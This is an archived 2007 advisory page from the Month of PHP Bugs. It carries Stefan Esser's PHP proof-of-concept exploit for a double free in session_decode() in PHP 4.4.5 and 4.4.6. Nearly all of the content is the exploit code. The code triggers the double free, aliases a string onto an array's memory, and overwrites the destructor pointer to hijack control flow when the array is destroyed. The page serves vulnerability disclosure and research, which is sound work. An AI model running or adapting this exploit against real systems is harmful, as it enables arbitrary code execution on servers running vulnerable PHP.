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MOPB-sessiondecode.txt

MOPB-sessiondecode.txt
Posted Mar 29, 2007
Authored by Stefan Esser | Site hardened-php.net

Month of PHP Bugs - PHP version 4.4.5 and 4.4.6 session_decode() double free proof of concept exploit.

tags | exploit, php, proof of concept
SHA-256 | 7bfd3521b829b12255417e9bda7344352dd74f548e46d687379a1e8cecdf7732

MOPB-sessiondecode.txt

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<?php
////////////////////////////////////////////////////////////////////////
// _ _ _ _ ___ _ _ ___ //
// | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ \| || || _ \ //
// | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___|| _/| __ || _/ //
// |_||_|\__,_||_| \__,_|\___||_||_|\___|\__,_| |_| |_||_||_| //
// //
// Proof of concept code from the Hardened-PHP Project //
// (C) Copyright 2007 Stefan Esser //
// //
////////////////////////////////////////////////////////////////////////
// PHP 4.4.5/4.4.6 session_decode() Double Free Vulnerability //
////////////////////////////////////////////////////////////////////////

// This is meant as a protection against remote file inclusion.
die("REMOVE THIS LINE");

ini_set("session.serialize_handler", "php");
session_start();

$varname = str_repeat("D", 39);
$$varname = &$_SESSION;

// Trigger the double free

session_decode($varname.'|i:0;');
$_________________x = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJ";
$_________________a = array("OneElement");

// Now x and a point to the same memory. Therefore x can be used to modify a

// Overwrite pointer to the destructor
$_________________x[8*4+0] = chr(0x55);
$_________________x[8*4+1] = chr(0x66);
$_________________x[8*4+2] = chr(0x77);
$_________________x[8*4+3] = chr(0x88);

// Trigger the destruction
unset($_________________a);
?>

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